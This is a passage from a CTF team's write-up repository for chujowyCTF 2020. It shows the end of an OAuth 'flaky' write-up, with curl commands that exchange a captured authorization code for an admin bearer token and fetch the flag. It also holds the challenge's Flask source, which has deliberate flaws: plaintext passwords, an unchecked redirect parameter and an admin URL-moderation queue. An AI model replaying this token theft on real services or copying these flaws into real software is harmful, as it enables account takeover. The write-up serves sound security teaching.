/?code=enOxpNniZLo6aBtrG1icDqKjXXhNn0vzxaAW2PLoh4TmS0nd&state=111111111111111111111111111111 HTTP/1.1" 200 - 62 | ``` 63 | From this code, we can obtain authorization token: 64 | 65 | ``` 66 | $ curl -XPOST https://flaky.chujowyc.tf/oauth/token -F client_id=M2ILFb7upkWxbSS6CZvQ3kro -F client_secret=EDbum3EF5x8LfpVlbQMfQWFzsoFyteaMs4xyiFx6kbetBlQL -F grant_type=authorization_code -F scope=flag -F code=enOxpNniZLo6aBtrG1icDqKjXXhNn0vzxaAW2PLoh4TmS0nd 67 | {"access_token": "2NNmqLHIbulPINiDjIom2HnYjdKw6wErMJiCt1NbdM", "expires_in": 864000, "scope": "flag", "token_type": "Bearer"} 68 | ``` 69 | 70 | and get the flag: 71 | ``` 72 | $ curl -H 'Authorization: Bearer 2NNmqLHIbulPINiDjIom2HnYjdKw6wErMJiCt1NbdM' 'https://flaky.chujowyc.tf/api/flag' 73 | chCTF{tHiS_c0St_G1tHub_25K_buc4s} 74 | ``` 75 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.3-alpine3.12 2 | RUN apk add --no-cache gcc musl-dev libffi-dev openssl-dev 3 | 4 | COPY app.py requirements.txt /opt/app/ 5 | COPY website /opt/app/website/ 6 | RUN addgroup --gid 1001 app &&\ 7 | adduser --disabled-password --no-create-home --uid 1001 --ingroup app --shell /bin/bash app &&\ 8 | chown app:app -R /opt/app/ 9 | 10 | 11 | COPY entrypoint.sh /opt/ 12 | RUN pip install --upgrade pip &&\ 13 | pip install --upgrade -r /opt/app/requirements.txt &&\ 14 | rm /opt/app/requirements.txt &&\ 15 | chmod +x /opt/entrypoint.sh 16 | 17 | WORKDIR /opt/app/ 18 | ENTRYPOINT ["/opt/entrypoint.sh"] 19 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/README.md: -------------------------------------------------------------------------------- 1 | # How to create an OAuth 2.0 Provider 2 | 3 | This is an example of OAuth 2.0 server in [Authlib](https://authlib.org/). 4 | If you are looking for old Flask-OAuthlib implementation, check the 5 | `flask-oauthlib` branch. 6 | 7 | - Documentation: 8 | - Authlib Repo: 9 | 10 | ## Sponsors 11 | 12 | 13 | 14 | 15 | 16 | 17 |
If you want to quickly add secure token-based authentication to Python projects, feel free to check Auth0's Python SDK and free plan at auth0.com/overview.
18 | 19 | ## Take a quick look 20 | 21 | This is a ready to run example, let's take a quick experience at first. To 22 | run the example, we need to install all the dependencies: 23 | 24 | $ pip install -r requirements.txt 25 | 26 | Set Flask and Authlib environment variables: 27 | 28 | # disable check https (DO NOT SET THIS IN PRODUCTION) 29 | $ export AUTHLIB_INSECURE_TRANSPORT=1 30 | 31 | Create Database and run the development server: 32 | 33 | $ flask run 34 | 35 | Now, you can open your browser with `http://127.0.0.1:5000/`, login with any 36 | name you want. 37 | 38 | Before testing, we need to create a client: 39 | 40 | ![create a client](https://user-images.githubusercontent.com/290496/38811988-081814d4-41c6-11e8-88e1-cb6c25a6f82e.png) 41 | 42 | Get your `client_id` and `client_secret` for testing. In this example, we 43 | have enabled `password` grant types, let's try: 44 | 45 | $ curl -u ${client_id}:${client_secret} -XPOST http://127.0.0.1:5000/oauth/token -F grant_type=password -F username=${username} -F password=valid -F scope=profile 46 | 47 | Because this is an example, every user's password is `valid`. For now, you 48 | can read the source in example or follow the long boring tutorial below. 49 | 50 | **IMPORTANT**: To test implicit grant, you need to `token_endpoint_auth_method` to `none`. 51 | 52 | ## Preparation 53 | 54 | Assume this example doesn't exist at all. Let's write an OAuth 2.0 server 55 | from scratch step by step. 56 | 57 | ### Create folder structure 58 | 59 | Here is our Flask website structure: 60 | 61 | ``` 62 | app.py --- FLASK_APP 63 | website/ 64 | app.py --- Flask App Factory 65 | __init__.py --- module initialization (empty) 66 | models.py --- SQLAlchemy Models 67 | oauth2.py --- OAuth 2.0 Provider Configuration 68 | routes.py --- Routes views 69 | templates/ 70 | ``` 71 | 72 | ### Installation 73 | 74 | Create a virtualenv and install all the requirements. You can also put the 75 | dependencies into `requirements.txt`: 76 | 77 | ``` 78 | Flask 79 | Flask-SQLAlchemy 80 | Authlib 81 | ``` 82 | 83 | ### Hello World! 84 | 85 | Create a home route view to say "Hello World!". It is used to test if things 86 | working well. 87 | 88 | 89 | ```python 90 | # website/routes.py 91 | from flask import Blueprint 92 | bp = Blueprint(__name__, 'home') 93 | 94 | @bp.route('/') 95 | def home(): 96 | return 'Hello World!' 97 | ``` 98 | 99 | ```python 100 | # website/app.py 101 | from flask import Flask 102 | from .routes import bp 103 | 104 | def create_app(config=None): 105 | app = Flask(__name__) 106 | # load app sepcified configuration 107 | if config is not None: 108 | if isinstance(config, dict): 109 | app.config.update(config) 110 | elif config.endswith('.py'): 111 | app.config.from_pyfile(config) 112 | setup_app(app) 113 | return app 114 | 115 | def setup_app(app): 116 | app.register_blueprint(bp, url_prefix='') 117 | ``` 118 | 119 | ```python 120 | # app.py 121 | from website.app import create_app 122 | 123 | app = create_app({ 124 | 'SECRET_KEY': 'secret', 125 | }) 126 | ``` 127 | 128 | Create an empty ```__init__.py``` file in the ```website``` folder. 129 | 130 | The "Hello World!" example should run properly: 131 | 132 | $ FLASK_APP=app.py flask run 133 | 134 | ## Define Models 135 | 136 | We will use SQLAlchemy and SQLite for our models. You can also use other 137 | databases and other ORM engines. Authlib has some built-in SQLAlchemy mixins 138 | which will make it easier for creating models. 139 | 140 | Let's create the models in `website/models.py`. We need four models, which are 141 | 142 | - User: you need a user to test and create your application 143 | - OAuth2Client: the oauth client model 144 | - OAuth2AuthorizationCode: for `grant_type=code` flow 145 | - OAuth2Token: save the `access_token` in this model. 146 | 147 | Check how to define these models in `website/models.py`. 148 | 149 | Once you've created your own `website/models.py` (or copied our version), you'll need to import the database object `db`. Add the line `from .models import db` just after `from flask import Flask` in your scratch-built version of `website/app.py`. 150 | 151 | To initialize the database upon startup, if no tables exist, you'll add a few lines to the `setup_app()` function in `website/app.py` so that it now looks like: 152 | 153 | ``` 154 | def setup_app(app): 155 | # Create tables if they do not exist already 156 | @app.before_first_request 157 | def create_tables(): 158 | db.create_all() 159 | 160 | db.init_app(app) 161 | app.register_blueprint(bp, url_prefix='') 162 | ``` 163 | 164 | You can try running the app again as above to make sure it works. 165 | 166 | ## Implement Grants 167 | 168 | The source code is in `website/oauth2.py`. There are four standard grant types: 169 | 170 | - Authorization Code Grant 171 | - Implicit Grant 172 | - Client Credentials Grant 173 | - Resource Owner Password Credentials Grant 174 | 175 | And Refresh Token is implemented as a Grant in Authlib. You don't have to do 176 | anything on Implicit and Client Credentials grants, but there are missing 177 | methods to be implemented in other grants. Check out the source code in 178 | `website/oauth2.py`. 179 | 180 | Once you've created your own `website/oauth2.py`, import the oauth2 config object from the oauth2 module. Add the line `from .oauth2 import config_oauth` just after the import you added above in your scratch-built version of `website/app.py`. 181 | 182 | To initialize the oauth object, add `config_oauth(app)` to the `setup_app()` function, just before the line that starts with `app.register_blueprint` so it looks like: 183 | 184 | ``` 185 | def setup_app(app): 186 | # Create tables if they do not exist already 187 | @app.before_first_request 188 | def create_tables(): 189 | db.create_all() 190 | 191 | db.init_app(app) 192 | config_oauth(app) 193 | app.register_blueprint(bp, url_prefix='') 194 | ``` 195 | You can try running the app again as above to make sure it still works. 196 | 197 | ## `@require_oauth` 198 | 199 | Authlib has provided a `ResourceProtector` for you to create the decorator 200 | `@require_oauth`, which can be easily implemented: 201 | 202 | ```py 203 | from authlib.flask.oauth2 import ResourceProtector 204 | 205 | require_oauth = ResourceProtector() 206 | ``` 207 | 208 | For now, only Bearer Token is supported. Let's add bearer token validator to 209 | this ResourceProtector: 210 | 211 | ```py 212 | from authlib.flask.oauth2.sqla import create_bearer_token_validator 213 | 214 | # helper function: create_bearer_token_validator 215 | bearer_cls = create_bearer_token_validator(db.session, OAuth2Token) 216 | require_oauth.register_token_validator(bearer_cls()) 217 | ``` 218 | 219 | Check the full implementation in `website/oauth2.py`. 220 | 221 | 222 | ## OAuth Routes 223 | 224 | For OAuth server itself, we only need to implement routes for authentication, 225 | and issuing tokens. Since we have added token revocation feature, we need a 226 | route for revoking too. 227 | 228 | Checkout these routes in `website/routes.py`. Their path begin with `/oauth/`. 229 | 230 | 231 | ## Other Routes 232 | 233 | But that is not enough. In this demo, you will need to have some web pages to 234 | create and manage your OAuth clients. Check that `/create_client` route. 235 | 236 | And we have an API route for testing. Check the code of `/api/me`. 237 | 238 | 239 | ## Finish 240 | 241 | Here you go. You've got an OAuth 2.0 server. 242 | 243 | Read more information on . 244 | 245 | ## License 246 | 247 | Same license with [Authlib](https://authlib.org/plans). 248 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from website.app import create_app 3 | 4 | 5 | app, csrf = create_app({ 6 | 'SECRET_KEY': os.urandom(40).hex(), 7 | 'OAUTH2_REFRESH_TOKEN_GENERATOR': True, 8 | 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 9 | 'SQLALCHEMY_DATABASE_URI': 'sqlite:///db.sqlite', 10 | }) 11 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | exec gunicorn \ 3 | --bind "${HOST:-0.0.0.0}:${PORT:-8000}" \ 4 | --user 1001 --group 1001 \ 5 | --access-logfile - --error-logfile - --log-level info --capture-output \ 6 | app:app 7 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/requirements.txt: -------------------------------------------------------------------------------- 1 | Authlib==0.14.3 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.4.3 4 | Flask-WTF==0.14.3 5 | gunicorn==20.0.4 6 | 7 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2020-07-17-chujowyctf/flaky/website_code/website/__init__.py -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from flask import Flask 4 | from .models import db, User 5 | from .oauth2 import config_oauth 6 | from .routes import bp, csrf 7 | from flask_wtf.csrf import CSRFProtect 8 | 9 | def create_app(config=None): 10 | app = Flask(__name__) 11 | csrf.init_app(app) 12 | 13 | # load default configuration 14 | app.config.from_object('website.settings') 15 | 16 | # load environment configuration 17 | if 'WEBSITE_CONF' in os.environ: 18 | app.config.from_envvar('WEBSITE_CONF') 19 | 20 | # load app specified configuration 21 | if config is not None: 22 | if isinstance(config, dict): 23 | app.config.update(config) 24 | elif config.endswith('.py'): 25 | app.config.from_pyfile(config) 26 | 27 | setup_app(app) 28 | return app, csrf 29 | 30 | 31 | def setup_app(app): 32 | # Create tables if they do not exist already 33 | @app.before_first_request 34 | def create_tables(): 35 | db.create_all() 36 | admin_passwd = os.getenv('ADMINPASSWORD') 37 | if admin_passwd is None: 38 | print(os.environ) 39 | sys.exit('Admin password not set') 40 | admin = User(username="admin", password=admin_passwd) 41 | try: 42 | db.session.add(admin) 43 | db.session.commit() 44 | except Exception as e: 45 | # probably user already exists 46 | print(e) 47 | 48 | db.init_app(app) 49 | config_oauth(app) 50 | app.register_blueprint(bp, url_prefix='') 51 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/models.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | from flask_sqlalchemy import SQLAlchemy 5 | from authlib.integrations.sqla_oauth2 import ( 6 | OAuth2ClientMixin, 7 | OAuth2AuthorizationCodeMixin, 8 | OAuth2TokenMixin, 9 | ) 10 | 11 | db = SQLAlchemy() 12 | 13 | 14 | class User(db.Model): 15 | id = db.Column(db.Integer, primary_key=True) 16 | username = db.Column(db.String(40), unique=True) 17 | password = db.Column(db.String(40)) 18 | 19 | def __str__(self): 20 | return self.username 21 | 22 | def get_user_id(self): 23 | return self.id 24 | 25 | def check_password(self, password): 26 | return password == self.password 27 | 28 | class OAuth2Client(db.Model, OAuth2ClientMixin): 29 | __tablename__ = 'oauth2_client' 30 | 31 | id = db.Column(db.Integer, primary_key=True) 32 | user_id = db.Column( 33 | db.Integer, db.ForeignKey('user.id', ondelete='CASCADE')) 34 | user = db.relationship('User') 35 | 36 | 37 | class OAuth2AuthorizationCode(db.Model, OAuth2AuthorizationCodeMixin): 38 | __tablename__ = 'oauth2_code' 39 | 40 | id = db.Column(db.Integer, primary_key=True) 41 | user_id = db.Column( 42 | db.Integer, db.ForeignKey('user.id', ondelete='CASCADE')) 43 | user = db.relationship('User') 44 | 45 | 46 | class OAuth2Token(db.Model, OAuth2TokenMixin): 47 | __tablename__ = 'oauth2_token' 48 | 49 | id = db.Column(db.Integer, primary_key=True) 50 | user_id = db.Column( 51 | db.Integer, db.ForeignKey('user.id', ondelete='CASCADE')) 52 | user = db.relationship('User') 53 | 54 | def is_refresh_token_active(self): 55 | if self.revoked: 56 | return False 57 | expires_at = self.issued_at + self.expires_in * 2 58 | return expires_at >= time.time() 59 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/oauth2.py: -------------------------------------------------------------------------------- 1 | from authlib.integrations.flask_oauth2 import ( 2 | AuthorizationServer, 3 | ResourceProtector, 4 | ) 5 | from authlib.integrations.sqla_oauth2 import ( 6 | create_query_client_func, 7 | create_save_token_func, 8 | create_revocation_endpoint, 9 | create_bearer_token_validator, 10 | ) 11 | from authlib.oauth2.rfc6749 import grants 12 | from authlib.oauth2.rfc7636 import CodeChallenge 13 | from .models import db, User 14 | from .models import OAuth2Client, OAuth2AuthorizationCode, OAuth2Token 15 | 16 | 17 | class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): 18 | TOKEN_ENDPOINT_AUTH_METHODS = [ 19 | 'client_secret_basic', 20 | 'client_secret_post', 21 | 'none', 22 | ] 23 | 24 | def save_authorization_code(self, code, request): 25 | code_challenge = request.data.get('code_challenge') 26 | code_challenge_method = request.data.get('code_challenge_method') 27 | auth_code = OAuth2AuthorizationCode( 28 | code=code, 29 | client_id=request.client.client_id, 30 | redirect_uri=request.redirect_uri, 31 | scope=request.scope, 32 | user_id=request.user.id, 33 | code_challenge=code_challenge, 34 | code_challenge_method=code_challenge_method, 35 | ) 36 | db.session.add(auth_code) 37 | db.session.commit() 38 | return auth_code 39 | 40 | def query_authorization_code(self, code, client): 41 | auth_code = OAuth2AuthorizationCode.query.filter_by( 42 | code=code, client_id=client.client_id).first() 43 | if auth_code and not auth_code.is_expired(): 44 | return auth_code 45 | 46 | def delete_authorization_code(self, authorization_code): 47 | db.session.delete(authorization_code) 48 | db.session.commit() 49 | 50 | def authenticate_user(self, authorization_code): 51 | return User.query.get(authorization_code.user_id) 52 | 53 | 54 | class PasswordGrant(grants.ResourceOwnerPasswordCredentialsGrant): 55 | def authenticate_user(self, username, password): 56 | user = User.query.filter_by(username=username).first() 57 | if user is not None and user.check_password(password): 58 | return user 59 | 60 | 61 | class RefreshTokenGrant(grants.RefreshTokenGrant): 62 | def authenticate_refresh_token(self, refresh_token): 63 | token = OAuth2Token.query.filter_by(refresh_token=refresh_token).first() 64 | if token and token.is_refresh_token_active(): 65 | return token 66 | 67 | def authenticate_user(self, credential): 68 | return User.query.get(credential.user_id) 69 | 70 | def revoke_old_credential(self, credential): 71 | credential.revoked = True 72 | db.session.add(credential) 73 | db.session.commit() 74 | 75 | 76 | query_client = create_query_client_func(db.session, OAuth2Client) 77 | save_token = create_save_token_func(db.session, OAuth2Token) 78 | authorization = AuthorizationServer( 79 | query_client=query_client, 80 | save_token=save_token, 81 | ) 82 | require_oauth = ResourceProtector() 83 | 84 | 85 | def config_oauth(app): 86 | authorization.init_app(app) 87 | 88 | # support all grants 89 | authorization.register_grant(grants.ImplicitGrant) 90 | authorization.register_grant(grants.ClientCredentialsGrant) 91 | authorization.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) 92 | authorization.register_grant(PasswordGrant) 93 | authorization.register_grant(RefreshTokenGrant) 94 | 95 | # support revocation 96 | revocation_cls = create_revocation_endpoint(db.session, OAuth2Token) 97 | authorization.register_endpoint(revocation_cls) 98 | 99 | # protect resource 100 | bearer_cls = create_bearer_token_validator(db.session, OAuth2Token) 101 | require_oauth.register_token_validator(bearer_cls()) 102 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/routes.py: -------------------------------------------------------------------------------- 1 | from queue import Queue, Full, Empty 2 | import ipaddress 3 | import socket 4 | import os 5 | import time 6 | from flask import Blueprint, request, session, url_for 7 | from flask import render_template, render_template_string, redirect, jsonify 8 | from flask_wtf.csrf import CSRFProtect 9 | from werkzeug.security import gen_salt 10 | from authlib.integrations.flask_oauth2 import current_token 11 | from authlib.oauth2 import OAuth2Error 12 | from .models import db, User, OAuth2Client 13 | from .oauth2 import authorization, require_oauth 14 | 15 | bp = Blueprint(__name__, 'home') 16 | csrf = CSRFProtect() 17 | moderation_queue = Queue(maxsize=256) 18 | 19 | FLAG = os.getenv('FLAG') 20 | ADMIN = 'admin' 21 | 22 | def current_user(): 23 | if 'id' in session: 24 | uid = session['id'] 25 | return User.query.get(uid) 26 | return None 27 | 28 | 29 | def split_by_crlf(s): 30 | return [v for v in s.splitlines() if v] 31 | 32 | 33 | @bp.route('/moderation/submit', methods=['POST']) 34 | def submit_mod_request(): 35 | print(f'/moderation/submit: request.remote_addr = {request.remote_addr}') 36 | if not current_user(): 37 | return redirect('/') 38 | try: 39 | url = request.form.get('url') 40 | moderation_queue.put_nowait(url) 41 | return 'success' 42 | except Exception as e: 43 | print(e) 44 | return 'failure (queue might be full)' 45 | 46 | @bp.route('/moderation/take', methods=['GET']) 47 | def take_from_mod_queue(): 48 | user = current_user() 49 | if user is None or user.username != ADMIN: 50 | return redirect('/') 51 | items = [] 52 | while not moderation_queue.empty(): 53 | items.append(moderation_queue.get()) 54 | return jsonify(items) 55 | 56 | 57 | @bp.route('/', methods=['GET', 'POST']) 58 | def home(): 59 | if request.method == 'POST': 60 | username = request.form.get('username') 61 | password = request.form.get('password') 62 | user = User.query.filter_by(username=username).filter_by(password=password).first() 63 | if not user: 64 | if not User.query.filter_by(username=username).first(): 65 | user = User(username=username, password=password) 66 | db.session.add(user) 67 | db.session.commit() 68 | else: 69 | return render_template_string('Name exists, but password is wrong. Go back to index.') 70 | session['id'] = user.id 71 | # if user is not just to log in, but need to head back to the auth page, then go for it 72 | next_page = request.args.get('next') 73 | if next_page: 74 | return redirect(next_page) 75 | return redirect('/') 76 | user = current_user() 77 | if user: 78 | clients = OAuth2Client.query.filter_by(user_id=user.id).all() 79 | else: 80 | clients = [] 81 | 82 | return render_template('home.html', user=user, clients=clients) 83 | 84 | 85 | @bp.route('/logout') 86 | def logout(): 87 | del session['id'] 88 | return redirect('/') 89 | 90 | 91 | @bp.route('/create_client', methods=['GET', 'POST']) 92 | def create_client(): 93 | user = current_user() 94 | if not user: 95 | return redirect('/') 96 | if request.method == 'GET': 97 | return render_template('create_client.html') 98 | 99 | client_id = gen_salt(24) 100 | client_id_issued_at = int(time.time()) 101 | client = OAuth2Client( 102 | client_id=client_id, 103 | client_id_issued_at=client_id_issued_at, 104 | user_id=user.id, 105 | ) 106 | 107 | form = request.form 108 | client_metadata = { 109 | "client_name": form["client_name"], 110 | "client_uri": form["client_uri"], 111 | "grant_types": split_by_crlf(form["grant_type"]), 112 | "redirect_uris": split_by_crlf(form["redirect_uri"]), 113 | "response_types": split_by_crlf(form["response_type"]), 114 | "scope": form["scope"], 115 | "token_endpoint_auth_method": form["token_endpoint_auth_method"] 116 | } 117 | client.set_client_metadata(client_metadata) 118 | 119 | if form['token_endpoint_auth_method'] == 'none': 120 | client.client_secret = '' 121 | else: 122 | client.client_secret = gen_salt(48) 123 | 124 | db.session.add(client) 125 | db.session.commit() 126 | return redirect('/') 127 | 128 | 129 | @bp.route('/oauth/authorize', methods=['GET', 'POST']) 130 | def authorize(): 131 | user = current_user() 132 | # if user log status is not true (Auth server), then to log it in 133 | if not user: 134 | return redirect(url_for('website.routes.home', next=request.url)) 135 | if request.method == 'GET': 136 | try: 137 | grant = authorization.validate_consent_request(end_user=user) 138 | except OAuth2Error as error: 139 | return error.error 140 | return render_template('authorize.html', user=user, grant=grant) 141 | if not user and 'username' in request.form: 142 | username = request.form.get('username') 143 | user = User.query.filter_by(username=username).first() 144 | return authorization.create_authorization_response(grant_user=user) 145 | 146 | 147 | @bp.route('/oauth/token', methods=['POST']) 148 | @csrf.exempt # no form to fill in 149 | def issue_token(): 150 | return authorization.create_token_response() 151 | 152 | 153 | @bp.route('/oauth/revoke', methods=['POST']) 154 | @csrf.exempt # no form to fill in 155 | def revoke_token(): 156 | return authorization.create_endpoint_response('revocation') 157 | 158 | 159 | @bp.route('/api/flag') 160 | @require_oauth('flag') 161 | def api_flag(): 162 | user = current_token.user 163 | if user.username == ADMIN: 164 | return FLAG 165 | return 'chCTF{no flag for you} (no, seriously, this is not the flag)' 166 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/settings.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2020-07-17-chujowyctf/flaky/website_code/website/settings.py -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/templates/authorize.html: -------------------------------------------------------------------------------- 1 |

The application {{grant.client.client_name}} is requesting: 2 | {{ grant.request.scope }} 3 |

4 | 5 |

6 | from You - a.k.a. {{ user.username }} 7 |

8 | 9 |
10 | 14 | {% if not user %} 15 |

You haven't logged in. Log in with:

16 |
17 | 18 |
19 | {% endif %} 20 |
21 | 22 | 23 |
24 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/templates/create_client.html: -------------------------------------------------------------------------------- 1 | 5 | 6 | Home 7 | 8 |
9 | 13 | 17 | 21 | 25 | 29 | 33 | 41 | 42 | 43 |
44 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/flaky/website_code/website/templates/home.html: -------------------------------------------------------------------------------- 1 | {% if user %} 2 | 3 |
Logged in as {{user}} (Log Out)
4 | 5 | {% for client in clients %} 6 |
 7 | Client Info
 8 |   {%- for key in client.client_info %}
 9 |   {{ key }}: {{ client.client_info[key] }}
10 |   {%- endfor %}
11 | Client Metadata
12 |   {%- for key in client.client_metadata %}
13 |   {{ key }}: {{ client.client_metadata[key] }}
14 |   {%- endfor %}
15 | 
16 |
17 | {% endfor %} 18 | 19 |
Create Client 20 |
21 |
22 | 23 | 26 | 27 |
28 | 29 | {% else %} 30 |
31 | 32 | 33 | 34 | 35 |
36 | {% endif %} 37 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/list_processor/binaryninja_FETCH.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2020-07-17-chujowyctf/list_processor/binaryninja_FETCH.png -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/list_processor/binaryninja_handle_command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2020-07-17-chujowyctf/list_processor/binaryninja_handle_command.png -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/list_processor/gdbscript: -------------------------------------------------------------------------------- 1 | handle SIGUSR1 pass 2 | handle SIGSEGV pass 3 | handle SIGILL pass 4 | define ldb 5 | call (void)ldb_monitor() 6 | end 7 | -------------------------------------------------------------------------------- /2020-07-17-chujowyctf/list_processor/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2020-07-17-chujowyctf/list_processor/server -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Writeups | Made In MIM 2 | ======== 3 | 4 | Made In MIM is an academic CTF team created at the faculty of Mathematics, 5 | Informatics and Mechanics of University of Warsaw, Poland. 6 | 7 | --------------------------------------------------------------------------------